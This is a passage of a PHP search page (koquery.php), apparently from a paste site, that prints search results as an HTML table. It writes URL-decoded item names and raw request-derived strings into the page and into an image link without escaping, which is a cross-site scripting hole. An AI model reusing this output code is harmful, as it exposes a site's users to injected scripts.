  784. $lim = $_REQUEST['Limit'];
  785. $ret = search($q, $lim);
  786. echo '<table border="0" width="100%">
  787. <tr>
  788. <td width="184" style="border: 1px solid #000000"><b>
  789. <font face="Tahoma" size="2">Name</font></b></td>
  790. <td width="189" style="border: 1px solid #000000"><b>
  791. <font face="Tahoma" size="2">Number</font></b></td>
  792. <td style="border: 1px solid #000000"><b><font face="Tahoma" size="2">
  793. Stats</font></b></td>
  794. </tr>';
  795. foreach($ret as $inum => $imgconts){
  796. $name = explode("%0a", $imgconts);
  797. $iname = trim(urldecode($name[1]));
  798. $link = "<a class='screen' href='#' onclick='javascript:insertItem($inum)'>$iname<b><img src='koquery.php?act=showimg&text=$imgconts' title='$inum Stats'/></b></a><br><br>";
  799. $lstats = "";
  800. foreach($name as $stata){
  801. $asdf = explode(":", $stata);
  802. $lstats .= "<b>".$asdf[0].": </b> ".htmlentities(urldecode($asdf[1])).", ";
  803. }
  804. echo '
  805. <tr>
  806. <td width="184" style="border: 1px solid #000000">
  807. <font face="Tahoma" size="2">'.$link.'</font></td>
  808. <td width="189" style="border: 1px solid #000000">
  809. <font face="Tahoma" size="2">'.$inum.'</font></td>
  810. <td style="border: 1px solid #000000"><font face="Tahoma" size="1">
  811. '.$lstats.'</font></td>
  812. </tr>
  813. ';
  814. }
  815. }
  816. echo '</table><hr><a href="koquery.php">Home</a>';
  817. break;
  818. }
  819.  
  820. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement